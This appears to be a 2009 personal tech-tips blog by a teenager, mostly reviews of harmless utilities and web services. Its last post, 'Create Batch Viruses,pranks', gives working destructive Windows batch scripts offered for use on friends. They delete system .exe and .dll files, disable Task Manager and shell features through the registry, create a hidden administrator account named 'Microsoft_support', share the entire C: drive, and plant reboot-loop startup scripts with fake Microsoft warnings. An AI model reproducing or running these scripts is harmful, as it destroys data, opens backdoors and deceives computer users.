Tech Geek Tricks- By a 14yr old blogger

Keep Your self out from a Website -KeepMeOut

2009-10-20T23:16:00.000+05:30

Today we will look at a service which will allow us to keep us away from a site which we visit often or keep us away from a site with whom we are addicted to.

Well to start lets go to . www.keepmeout.com . On the home page you will see :-

Are you addicted to a website?
Enter the address of the website you visit too often.
Bookmark the KeepMeOut alias and use the bookmark to navigate to the website instead.
Reclaim your life!

Now On the site address type the address of the site which you visit too often and set the time and click on submit. And Your alias for the site which you have requested will be created. Now bookmark the alias and whenever you want to visit the site open it through this bookmark.And when you Try to visit the site more than once the time is specified you will be shown an message :-

See the lyrics while playing the music.

2009-10-01T16:55:00.004+05:30

Today,I am going to tell you about a plugin for windows media player and Winamp

that will enable you to see the lyrics of the song which you are playing.

Wouldnt it be nice, If we can see the lyrics while listening to the music without opening the

browser and googling for the music.Well today we will look at a plugin called LyricsPlugin

which will enable you to do just that.

The Lyrics Plugin work's with Windows Media Player and Winamp.

Here is a screen shot of what it looked like in my computer.

Here's what the LyricsPlugin site says :

"Lyrics Plugin is a piece of software tailored for music fans.
To put it simply - it is an add-on to view lyrics in WinAmp or Windows Media Player.
No more searching for lyrics.
Just start listening to your favourite songs and lyrics will be displayed automatically.
Oh, and if lyrics is not found, you can add it yourself :)"

So what are you wating for head over to Lyrics Plugin and dowload the plugin.
After installing just open media player,open any song. Right click on view and plug-ins and select Lyrics plugin.Oh yeah,Don't forget to drop a comment on this service here.

How to download videos from youtube without using any service or software.

2009-09-28T17:13:00.005+05:30

Today, we will see how we can download videos from youtube without using any service i.e softwares or any website. All we will need to download a video is a browser ;) . With out beating around the bush let me start directly with the process to download the video. I have tried this trick with google chrome.I have used : Google Chrome as an Browser. Youtube as a site to download videos.

NOTE: In onder to avoid confusion later, perform this step .When in google chrome press ctrl+shift+del - to clear your
browsing data or press the wrench sign in the topright conner of google chrome and select Clear Browsing Data.

Firstly, We need to open youtube , and play the video you want to download. Now y

ou just watch your video after it's complete.minimize your browser [note : DON'T CLOSE YOUR BROWSER].

Then go to-

If you are using :

Google Chrome : C:\Documents and Settings\techgeektricks\Local Settings\Application Data\Google\Chrome\User Data\Default\Cache

Firefox : C:\Documents and Settings\techgeektricks\Application Data\Mozilla\Firefox\Profiles\default.udq\Cache

Internet Explorer: C:\Documents and Settings\techgeektricks\Local Settings\Temporary Internet Files

Where C is the drive which contains windows. i.e the system -operating system
and techgeektricks is the name of the user.

After reaching the directory mentioned above.Right click and make sure that the view of the files is in tiles. Now look for a file size larger than 3 mb .( Because I Don't think any video will be less than 3 mb ).

After finding the file copy it and paste it in another folder say 'My Documents' now rename that file with an extension of .flv let's say tgt.flv Now open this file with your favorite media player.I personally would suggest you to use VLC Media Player.

NOTE : Some times the file that you have copied is not the video you want to download. Then you have to do is trail and error method.I.E. You need to search for another file which is larger than 3 mb or has an size of an videoand then you need to copy it into another folder and change it's extension to flv as mentioned above and try to play it.

Good LUCK

If you are facing any problems or if you have any doubt or just know some another method then you might want to drop a comment down here.

Create Shortcuts to change wallpapers,run screensavers and more

2009-02-03T20:09:00.001+05:30

Today we will look at an Free application to change wallpapers ,Open/Close CD-ROM and much more.

Shortcuts or hotkeys are simple keyboard based combinations to perform a specific operations . like – ctrl +alt +del to open task manager and so on. It saves a lot of time .

This Software , Swift Keyboard can create hotkeys to.

-Change wallpaper
- Clear menu Documents
- Empty recycle bin
- Group hot key
- Hide active window in tray
- Minimize all window
- Open a folder

- Open/Close CD-ROM

- Paste text

- paste date & time.

-paste text from file

- Restart computer

- Run Screensaver

- Sound volume control

- Start desired program

- Turn off computer

- URL command

- Control Winamp

- Windows cascade,Windows tile horizontally ,Windows tile vertically

To Download this software visit here:- Download Swift Keyboard

To Know More about the Above described Facilities Visit here : Documentations

Visualize your history & personalize your search.

2009-01-22T21:59:00.001+05:30

Personalize your search. Visualize your history with WebMynd a plug-in for Firefox.

According to WebMynd.

It makes Google better by personalizing it with the information sources that you most value. You can embed different search tools, search your WebMynd browsing history and your most frequently visited sites.It saves and records the pages you see online so you can find what you have seen before faster.

WebMynd is quite an interesting plug-in for Firefox.

Personalized Search

WebMynd presents personalized, configurable search results on the right-hand side of the Google results page unless you have configured it not to show.

More info Here.

You can also view your web history .

After opening the WebMynd playback by clicking on the WebMynd icon in Firefox, you can view your web history either as a film reel or in a grid. You can select these modes by clicking the links in the top left of the playback mode.

More Info Here.

Over to you

Do you use services like WebMynd ? if so do drop us a line.

Lock your notepad notes with password.

2009-01-22T16:22:00.001+05:30

As security threats increase you can't just distribute your important text documents [written in notepad ] in the Internet or off line.

I used to type my e-mail passwords and other important info in Note pad[.txt file]. Increasing the threat of data theft, Till I discovered a free and open source software called LockNote to protect my files with .

I could have used Microsoft word – to save a doc file with password, But it is not standalone program . I need to have Microsoft word for it to run. But Locknote doesn't require installation , it is a standalone application and free too.

With LockNote your information's will be encrypted using a password and AES 256bit encryption technology.

Features.

No installation required

Move LockNotes wherever you want, as often as you want. A LockNote document does not require much more hard drive space than an unencrypted document.
Encrypt existing text files by just drag and drop.

Simply drag and drop existing text files on a LockNote window: they will be encrypted automatically.
Open and free

LockNote is open source and is based upon open source technologies, e.g. the certified CryptoPP program library for strong encryption.
Source- Locknote official site

Using it:-

Type in your information in the text field or just drag and drop you text files, after that click on File>SaveAs and specify the location where you want to save it. And type in your file name and hit save.

Now you are promoted with a Dialog box. Type in your password and hit ok. Now distribute your secure file on line or off line .

Making It more Secure.

While saving it I noticed that it could be made more secure and undetectable.

But for that you need to do a small change in your folder option .
Open my computer click on Tools>Folder Option now select the view tab and un tick the Hide extension for known file types.

Now click on apply and on OK.

Now go back to the location where you have saved your locked file.

Note:- Copy that file name and give it a another name. Creating a backup is always good if you are doing this for the first time.

Right click on it and click on Rename and rename it to filename.dll

[ you can use .zip,.txt,.mp3 and so on instead of .dll ]

You will receive a message like this. Without fear click on ok.

Now to Get it back just rename it to filename.exe

Over to You:-

Do you use Software's like Locknote, or have any thing to say about locknote please leave us a comment below. thanks.

Convert your recent twitter status to an image

2009-01-17T22:33:00.001+05:30

Have you ever wanted to convert your recent twitter status to an image so that you can display it in blogs, bb , forums, Web site and so on.. then head over to twitstamp.com and create a free twitter stamp [image for you ] But Wait before you go look below to see what you will need to get one and what types of style you will get there.

How do I get one ?

You can get images like this [shown right. This is my favorite though they are many other designs].

You will notice that the current status get updated as soon as I update a new tweet and my friends images keep on changing that makes this app quite attractive.

It shows you, current no of followers and friend with images and you don't have to worry about no html, css codes, just an image link.

To create an image go to Twit Stamp and enter your twitter username and click on generate

See the image below for more details

Over to you

Do you use Service like Twitstamps if so please drop us a line or if you have some thing to say about twitstamp. thanks

You can view twitstamp here . or read there faq here.

Translate Your Tweets to different language by Human Translators

2009-01-17T21:30:00.002+05:30

Another twit app created recently, Hit my Rss feed via [Techcrunch] .With this app you can translate your tweets to Arabic,Chinese,Dutch, English, French, German, Greek, Hebrew, Hindi, Italian, Japanese, Portuguese, Russian and Spanish.

What Exactly is it?

If this is your question then . It is a free service run by human beings not BOTS! to translate your tweet to different languages as specified above.

How do I do it ?

Well type @twitrans orginallanguage2newlanguage your tweet

what are the codes for languages?

Well, the Available language codes are Arabic-ar, Chinese-zh, Dutch-nl, English-en, French-fr, German-de, Greek-el, Hebrew-he, Hindi-hi, Italian-it, Japanese-jp, Portuguese-pt, Russian-ru, Spanish-es

You have to use the codes not the full name of the language

for example ; if you want to translate" hi how are you "from English to Japanese then you have to type

@twitrans en2jp hi how are you

More Info Here

Over to you

Do you know any Translators like twitrans or do you have to say any thing about twittrans then feel free to drop us your comment below thanks.

Track Trends across twitter with Tweetfu

2009-01-17T20:46:00.001+05:30

Today we will look at a app to track trends across twitter. You could use this tool to see/compare different types of service like Blogger vs WordPress you can also use this tool to find a popular niche on twitter.Eg :- Make money online vs Technology. And so on

Here is a screen shot below to get you attracted to this app :

Here is a fight Between Windows and Linux :

Another fight between Blogger and WordPress :

To create a fight for yourself click here.

To visit Tweetfu click here.

Note you can also vied the fights created by you ;

http://www.tweetfu.com/search/creator/twitterUsername

like my is

http://www.tweetfu.com/search/creator/achute

Wordpress Themes to Blogger templates FREE.

2009-01-15T16:10:00.001+05:30

Well, I am quite busy these days because I have Created a site to offer Free Blogger Templates, Conversion of WordPress themes and CSS templates to Blogger templates for free.Well I will not be updating these days because I will need to produce 10 high quality blogger templates and then I will get back here at Tech Geek Tricks And continue with my Internet and tech articles , till then visit my Templates Blog. thanks.

If you do know any WordPress theme out there and want to have it converted to blogger for free then please contact me.thanks.

Twitbuttons.com, Another site to get free Twitter Buttons

2009-01-12T09:16:00.001+05:30

Today We will look at another site to get free twitter buttons. I think twitter Buttons are picking up fashion, Gone are the day's of text-linking to any of you link now we need to attract our visitors with graphics,So let it be with twitter. You need to get good graphics to attract your [first time ] visitors to join you in twitter ,Unless you are a super star and just a text link will do. Enough blab blab let's get to the point .

I had reviewed twitterbuttons.com here @ Twitter Buttons Your ultimate Source for Free Twitter Buttons. It is also a great site to find free twitter buttons.

Twit buttons is also a similar showcase site which offers you free twitter buttons for your blog and site.

You just have to input your name and select the button which you like the most. as simple as that

So head over to twitbuttons and get your self free twitter buttons .

Tip:

One thing I noticed was the lack of watermark which is great as apposed to twitterbuttons.com

Note to change the alt text [red one] to

By the way you can also follow me on twitter.

Send Secure Notes. Simply! with Whisper Bot

2009-01-10T13:07:00.001+05:30

Today we will look at another service to send and retrieve Secure notes in the web.

I had also reviewed Privnote here , Send notes that will self destruct after being read. The only difference being that Whisper Bot, the notes will not get self destruct after being read.

What is Whisper bot

The Whisper Bot is a free , simple, and secure service to provide a modern day passing of the notes between you and your friends and keep away prying eyes.

Stop using e-mail for your confidential messages!

How the Whisper Bot works...

If you are interested in how Whisper Bot works the check this image and the description below it.

You go to WhisperBot.com and Send a note
The note, along with everything else, is encrypted with a high level of encryption and stored in the database
An e-mail gets sent off to alert the recipient of your note
The recipient clicks on the URL and retrieves their note
And the recipient and world are in their happy place

Links

Whisper Bot site.

Whisper Bot Secure site

To send a note .

About Whisper Bot .

Over to You

Do you use service like Whisper Bot If so please drops us a line or have you got to say anything about Whisper Bot drop us a comment below .thanks

Twitter Buttons Your ultimate Source for Free Twitter Buttons

2009-01-09T21:17:00.001+05:30

Today we will look at a site which offers a free collection of Twitter Buttons i.e Follow me / us on twitter buttons for your blog/ web page and so on.

The site offers twitter buttons , it is a showcase site featuring the best twitter buttons.

Creating a button is as simple as punching your username and clicking on "GO" and browsing through the pages and finding the perfect button according to your needs and clicking on "copycode" and pasting it in your blog sidebar or your Web site.

How this thing works?

Its very simple... Enter your Twitter ID below and Press GO, then you can copy the code (click "Copy Code") of any button you like and past it on your Blog, Web Page or any where and let others follow you. That's it... enjoy tweeting

Source -Twitter Buttons

They offer you 68 twitter buttons [date-January 09 2009 ]

Over to you

Do you use Services like twitter buttons, do you know any other site like twitter buttons or want to share with us your thought on twitter buttons then please free to drop your comment thank you.

CO2 Emission caused by your Tweets

2009-01-09T16:51:00.002+05:30

Have you ever wanted to know how much Co2 is being emitted because of your tweets then head over to this page and enter your user name and hit enter and it will show you how much Co2 is being emitted because of your tweets..A funny calculation...

This app made by Thorsten Zoerner or in twitter(@zoernert) is a cool and funny app,Here is what he says ,
Why this calculation?
Please see that calculation as fun. It should provide you a sense that all what we are doing is causing CO2 - and there are million ways to do something against. Just ask via Twitter #savetheearth #startthinking.

Taken from the sidebar of the app blog

The twitter app calculations is :

Every tweet will be read by [no] followers - requiring around 2 seconds each. You need around 30 seconds to write one tweet - you post one every [average time] hours (calculated out of your last 20 tweets) or [no] posts per year. Requiring around [time] hours a computer turned on. A standard computer consumes around 250W per hour. 1 KWh causes an average of 0.59kg CO2 - or 1.14 pounds Making for the user [name]: emission in kg / emission in lbs of CO2 yearly for twittering!

My calculation is:

Every tweet will be read by 90 followers - requiring around 2 seconds each. You need around 30 seconds to write one tweet - you post one every 19.64 hours (calculated out of your last 20 tweets) or 446 posts per year. Requiring around 1561 hours a computer turned on. A standard computer consumes around 250W per hour. 1 KWh causes an average of 0.59kg CO2 - or 1.14 pounds Making for the user achute: 230kg / 508lbs of CO2 yearly for twittering!

As on - January 09 2009 .

Now my tweets might be emitting higher co2 so you can check it here

Tip :

Since only user name is required for checking the co2 emission you can check co2 emission on any user in twitter ;-).

Technorati Tags: twitter,twitter apps,co2

SiteLauncher-Hotkey Based Navigation to Your Most-Needed Sites

2009-01-08T22:05:00.001+05:30

Today, we will look at a firefox add-on to "Streamline Your Browsing With Hotkey Based Navigation to Your Most-Needed Sites" -the tag line of the site Launcher add-on.

I will start off by giving you a daily example of opening[not making ] a site:

Open Firefox,clicking on Address bar and typing your favorite site www.techgeektricks.blogspot.com until you type "tech" many links will appear on the drop down menu and you, after scrolling down, find www.techgeektricks.blogspot.com and click on it to open it ,Or you browse through your long list bookmarks and find www.techgeektricks.blogspot.com and open it...

OR I will show you how to open any site by just pressing three buttons on your keyboard .

Press Ctrl+Space+m and Gmail start loading or Press Ctrl+Space+t and TechGeekTricks Starts up,Wouldn't that be interesting.

So go ahead to Donesmart and download The Site launcher add-on.

Lets see what Donesmart Says about Site Launcher Add - on

SiteLauncher is an add-on for Firefox that gives you a super-quick way to to open your favorite websites using only your keyboard. One special hotkey brings up the Launcher (shown above), followed by a unique key to launch a site.
SiteLauncher is especially useful as a super-fast method for opening websites you use often throughout the day, for example, many people would probably want to add Google, Gmail, Facebook, and Twitter to SiteLauncher - what sites to include is entirely up to you.
Compared to the alternatives (standard bookmarks, the address bar, etc) the Launcher is the fastest, and most convenient way to navigate to your frequently needed sites (at least, that's what we think). SiteLauncher also minimizes clutter, because the Launcher only appears when you press the hotkey.

Feature highlights

    Because each site key is displayed in the Launcher, you don't have to memorize a bunch of key combinations to have shortcuts to loads of sites, only one hotkey.

    Default hotkey is customizable, in case you need it for something else.

    Add as many sites to SiteLauncher as you want. Just about any character key can be associated with a site, you're not limited to just a-z, 0-9.

    Because you press the hotkey first, no matter what key you assign to each site, you can be sure you will not cause conflict with any of Firefox's built-in shortcuts

Highly customizable appearance - change colors, text size, spacing, column size, etc

Optional visual effects - transparency, rounded corners, and gradients

You can have your site shortcuts automatically arranged or manually arranged in the order you want them to appear inside the Launcher

Set Launcher to open sites in current or new tab

Optionally, set Launcher to appear on startup instead of your homepage

                                                                                          Source:- Site launcher Site

Default Hotkey

Hotkey	Default	Description
Launcher	Ctrl+Space (or Ctrl+Alt for Mac users)	Press the Launcher hotkey to bring forward the Launcher. Then, simply press the key indicated in the Launcher for the site you wish to launch.
(Alternative) Direct-to-site	Shift+Alt (or Shift+Ctrl for Mac users)	An alternative hotkey which doesn't show the Launcher. It's included for people who would prefer to use their memory instead of the Launcher, you can safely ignore it otherwise. Because this hotkey doesn't provide visual feedback to indicate when it's active, you have to keep it pressed down while pressing the key for the site you want.

Requirements

Supports all versions of Firefox 2 and 3 to date.

Known to work on the following Operating Systems:

Windows (tested on XP and Vista)
Linux based (tested on Debian Etch)
OSX X (tested on Tiger and Leopard)

Links

You can View the Site Launcher site Here.

You can View the Help Page Here.

Note:- The site was reviewed by me on January 08 - 2009 at 10:00 pm India.

Over to You

Do you use add-ons like Sitelauncher? Or do you want to share us your experience of using different services/tools like Sitelauncher please drops us a comment.

~ thanks.

Minime - Minimize any window to the system tray

2009-01-08T12:37:00.001+05:30

In this article we will look at a free light weight application to Minimize any window to the system tray in a single icon.

Do you run lot of software and your task bar is crowded with icons tab bar of your software,If so then worry no more. Recently I have discovered a software called Minime which allows you to Minimize any window to the system tray .

Here is what the author says about the tool Minime

Minime is a tool that allows you to minimize applications to the system tray using a simple hotkey. What makes this tool somewhat unique is that it keeps your system tray clean by minimizing all applications into a single tray icon.

Minime is a standalone executable that doesn’t require any installation and can even be run from your USB drive, woohoo! All icon files are stored as resources and will be neatly put into your temporary directory. Any custom settings will be placed in a settings.ini file when needed.
The source code for Minime is released as well to allow anyone to learn from or improve the application. The source code can be used without limitations as long as some credit is given and the adjusted code will be released to public. Minime is written in AutoIt.

If you haven't yet decided whether to use this tool or not then check the screen shots below :

Saw the difference.

Using it

Using it is also pretty simple simply press ctrl + shift + z And your current window gets minimized to the system tray. Or simply hold your right mouse button and make a gesture 73 .

What is Gesture code 73?

Hold your right mouse button and move your mouse according to the image shown .

To visit the Minime website click here.

To download the Minime application (v 1.8 ) When Reviewed this application click here [950 kb]

To download the Minime source click here.

Over to You

Do you use other applications like Minime or do you get irritated to see many icons on your task bar or would you like to share your experience about applications like minime.please drop us a line by commenting below. Thanks.

Technorati Tags: minime

Sent to Your Folder.

2009-01-07T10:48:00.002+05:30

In this article we will look at, how to add your folder to send to context menu.

Do you have a folder which you are in constant touch. I have,I use my personal folder lot and sometimes used to find it difficult to send files to my personal folders , Are you having the same problem if so ,read on...

Sending your folder link to desktop.

Search For your mostly used folder,like Your personal folder.

Right Click on it and select Send to and then click on send to desktop(create shortcut).

Now Got to desktop and copy your shortcut.

Tip: Rename the " Shortcut to file/folder name " in your desktop with just "file/folder" name.

Adding your shortcut link to send to menu

Note:- for this trick to work you must have the show hidden files and folders option enabled. To do so click on tools -> Folder option -> view (tab) and select the show hidden files and folders.

Now go to your Parent drive i.e C: for most users

Then go to documents and settings then to user name and then to send to folder.

Now under send to folder paste your shortcut .

Hurray now your link appears under send to menu.

Create a shortcut to run any software, with XP

2009-01-05T13:25:00.002+05:30

Though they are software which allows you to create shortcuts to open your favorite program in one click. [like launchy ]Why let us not take a look at the inbuilt [ windows xp ] trick to create shortcuts of any program.

Just press [crtl]+[alt]+f and your Firefox browser pops up or [crtl]+[alt]+a and your anti virus starts up. Wouldn't that be nice plus without installing any external software.

So let's begin :

Right click on the executable file of which you want to create a short cut of :

Lets Say Firefox.

Now select properties or press the r button .You will see a dialog box like this :

Now under Shortcut Tab search for the label name Shortcut key as shown in the image .

By default it will be [none].Select it and press lets say f.

Note :- Windows automatically adds [ctrl]+[alt] so if you press f. your shortcut will be [ctrl]+[alt]+f

Tip:Try to Use character which is the first character of your software like f for Firefox,o for opera so that you can remember.

Over to You : - So do use shortcuts, Do you use other application to create shortcut if please drop us a comment below. Thanks.

Technorati Tags: keyboard shortcuts

Tech Geek Tricks 2.0 [ h.A.c.K.e.D v.E.r.S.i.O.n]

2008-12-26T12:48:00.001+05:30

You might have been reading Tech Geek Tricks or it might just be your 1st visit here ! you all must be knowing about web 2.0,Which allows you to have more interactivity with the web site. So I thought of Creating t.g.t 2.0 with more high quality articles , Security tips , Hacking tricks ,Reviews ,Showcase of templates , graphics , Icons , Making money online , Blogging tips and tricks, Search engine optimization tricks and of course Web 2.0 sites.

Features that will be added ?

Including the topics mentioned above we will have-
A new web 2.0 look,
with web 2.0 tools
Will allow Guest post.

Why hacked version?

As mentioned above we will give you more of security stuffs and another reason is that it is one of my Ambition to become a Computer Security Specialist. ;-)

When it will start?

January 1st -Till then read computer tricks tgt past articles and Subscribe to the rss feed - So stay tuned.

[NO updates till Jan 1st ]

Free Blog icons collection

2008-12-24T19:27:00.002+05:30

If you have a blog or Web site but don't have proper icons to attract visitors or make you site more attractive then you might be missing something. So see the free icons below and download them.

Email me by ~Mayosoft - 11 icons Free Aqua Gloss Icons Set of 32 Icons

On-Stage: Free Vector 49 Icon Set Finance and Applications Icon Set 59 icons

Sketchy Paper Icon Set :: 20 Icons Stickers Icons :: 52 Icons

Web 2.0rigami (One of my best) Web browsers icon set

Function Icon Set, 128 Completely Free Icons

Irish Icons Pack 26 icons Deziner Folio G-avatars

Merry Christmas Icon Set 12 icons Distortion Icon Set - 68 icons

Aeon Free Glossy Blogging Icons Set for Blogger's

Aesthetica 2.0 Icon Set - 181 icons Balloonica Icon Set - 80 icons

Blossom Icon Set - 52 icons Blue Velvet Icon Set - 86 icons

Christmas Surprise (4 in 1) 49 Icon Set EURO 2008 Icon Set - 20 icons

Free Hand Drawn

Doodle Icon Set for Bloggers

(One of my favorites .)

Free web development icons.

Liquidicity Milky icon set

OldSchool Icon Set Phuzion

Pirates Theme icon collection Practika

Ruby Extended Icon Set - 238 icons Simplistica Icon Set :: 25 Icons

Socialize Icon Set - 12 icons

[one of my favorites ]

Turqua 3d

Isometric Vector Icon Pack

Valentine Love Icon Set - 12 icons WYSIWYG Sapphire Icon Set - 47 icons

I have tried by best to collect free blog icons, If you feel that I have missed some icons or want to showcase some icons or want to give feedback . Please do so by commenting bellow thanks.

Stickyscreen a new way to create sticky notes

2008-12-23T13:13:00.001+05:30

Are you one of those who like to create sticky notes or do you want a service which lets you create sticky note in your browser, Then try Sticky Screen.

Features.

No Registrations.
No Submit button.
Free.

So head over to Sticky Screen but note that You cannot type more than three lines and it takes help of cookies to store information. So if you clean your cookies the note will get deleted and will be replace by the default one.

Other notes

What made Jack Cheng make this service?

" I have a habit of putting sticky notes on the edge of my monitor. Usually these notes consist of mantras I come up with based on something I’ve learned or read recently. I have to change it up about once a week because if I get too used to seeing it, I start ignoring it. " - Jack Cheng

See more info here.

firefox users can make it load on every new tab too, with the New Tab Homepage addon.

Store your files online with Livedrive

2008-12-22T19:36:00.001+05:30

Ever wanted to store file online with Unlimited storage space . Then try live drive (no not windows live drive)

About Livedrive

Livedrive is creating technology that will revolutionize the way people store and access their files, photos, music, videos and other digital content.
Our vision is simple: don't store files on your PC; store them on your Livedrive instead. Livedrive is your personal storage space on the Internet. Its unlimited, it's secure and it's there forever.
Store it on Livedrive, access it anywhere
Works on your PC just like a normal hard drive or USB drive
See the same files on all your PCs
See all your files on your mobile, PDA or other devices
Access everything from the web
Share anything with just one click
No need to backup - everything on your Livedrive is stored securely
read more @about

Features

Unlimited storage space
See the same files on all your PCs, the Web and your mobile.
Works like a normal hard drive
Send files to anyone

Send large documents, presentations and ZIP files to contacts and clients. Forget the hassle of emailing attachments

Livedrive is optimised for Apple iPhones
Work online - Office compatible
Works even when your PC is disconnected
Works with your favourite sites

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Create Batch Viruses,pranks

2008-12-20T15:54:00.002+05:30

Batch files can be used to create viruses pranks to irritate your friends or so let's begin by creating a batch virus.

Creating a Batch File.

This is my first batch file virus which will create unlimited folders inside a folder in desktop or my documents .

to create this file open notepad and type

@echo off
cd C:\Documents and Settings\All Users\Desktop
:loop
md achute
cd achute
goto loop

and save it as virus.bat give it a .bat extension
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well this is a very simple prank to play with you friends,I hope you enjoy it.
I know this is not a good virus,prank. Then you might consider to see the next batch virus.

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This batch virus will delete contents of system folder making the computer not run.

@echo off
taskkill /f /im explorer.exe

del "%systemroot%\*.exe" /f /q /s /a h r s a

del "%systemroot%\system32\*exe" /f /q /s /a h r s a

del "%systemroot%\*.dll" /f /q /s /a h r s a

del "%systemroot%\system32\*dll" /f /q /s /a h r s a

msg * Your computer important files have been deleted
shutdown -r -t 100 -c "Computer files missing..hurray..I am so sorry to say that your computer has been infected ,My deep regrets for spoiling your computer ."

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Now this virus will disable run.search,help,all programs,disable taskbar and more.

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@echo off
COLOR FC
ECHO VIRUS ATTACK! BY ACHUTE
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoUserNameInStartMenu /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v LockTaskbar /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPropertiesMyComputer /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoAddRemovePrograms /t REG_DWORD /d 00000001 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoSupportInfo /t REG_DWORD /d 00000001 /f
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeCaption /d %Hacked!% /f
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeText /d %Your computer has been infected with a virus developed by a 14 yr old kid You will not be able to search,run use taskbar and so on enjoy to revove this virus visit www.techgeektricks.co.cc % /f
msg * YOUR COMPUTER has been Crashed- God Save your computer.
msg * Say bye bye to your computer
msg * This virus is developed by a 14 year old kid
shutdown -r -t 100 -c "Virus detected Restarting..hurray..I am so sorry to say that your computer has been infected , To know what to do next see the message you see after booting."

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The heal for the above virus is

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@echo off
ECHO VIRUS ATTACK- saver! BY ACHUTE
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMHelp /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoUserNameInStartMenu /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v LockTaskbar /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPropertiesMyComputer /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoAddRemovePrograms /t REG_DWORD /d 00000000 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall /v NoSupportInfo /t REG_DWORD /d 00000000 /f

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Other viruses

   @echo off
    cd\
    cd %SystemRoot%\system32\
    md 1001
    cd\
    cls
    rem N0 H4rm 15 cau53d unt1| N0w
    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000
    echo 12:00:00.00 | time >> nul
    echo 01/01/2000 | date >> nul
    net users Microsoft_support support /add
    rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt
    rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt.
    net localgroup administrators Microsoft_support /add
    rem 5h4r3 th3 R00t Dr1v3
    net share system=C:\ /UNLIMITED
    cd %SystemRoot%\system32\1001
    echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) > %SystemRoot%\system32\1001\warnusr.vbs
    rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y )
    mode con rate=1 > nul
    mode con delay=4 >> nul
    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y @ 12:01 and 12:02
    at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”
    at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”
    msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul
    msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >> nul
    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3 3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5
    copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\warnusr.vbs”
    rem *****************************************************************************************************
    rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y
    echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can detect this virus now. Wanna try? Hahahaha….! ” > %systemroot%\system32\1001\sd.bat
    copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat “%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat”
    rem *****************************************************************************************************
    cd\
    cls
